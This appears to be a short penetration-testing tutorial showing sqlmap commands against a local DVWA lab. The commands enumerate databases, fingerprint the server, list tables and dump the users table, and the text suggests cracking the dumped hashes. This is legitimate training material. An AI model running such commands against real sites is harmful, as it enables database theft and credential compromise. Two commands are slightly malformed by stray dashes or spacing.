How to Use SQLMAP ?



SQLMAP is an automatic SQL injection tool. It is an open source tool which is used in Penetration Testing. This automates the process of detecting the SQL injection flaws and can further exploit it to take over the database. This is an important tool which will be taught under CEH, Penetration Testing & ECSA Training Certification.

SQLMAP has a powerful detection engine and many other features like database fingerprinting, accessing underline file system which is very helpful for the pentester. In an organization, it used to perform Web Application Pen Testing to find out SQL injection vulnerabilities.

Working of SQLMAP

Here we are taking DVWA as a testing Site

1. Finding all Databases from a server.

sqlmap -u "localhost/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=stgepj8mmmdnbmc6sqneg9qun3" –dbs

  

2. Banner grabbing

sqlmap -u "localhost/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=stgepj8mmmdnbmc6sqneg9qun3" -f





3.Finding out tables in particular database

sqlmap -u "localhost/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=stgepj8mmmdnbmc6sqneg9qun3" -D dvwa–tables





4.Dumping the whole table

sqlmap -u "localhost/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=stgepj8mmmdnbmc6sqneg9qun3" -D dvwa -T users  --dump





See what we get ..the whole database. Now We can decrypt the hashes and receive the desired information. With an SQL vulnerability and an automated tool sometimes, we can get the whole database. In Web Penetration Testing we check the websites for these kinds of vulnerabilities which could lead to leakage of valuable information.
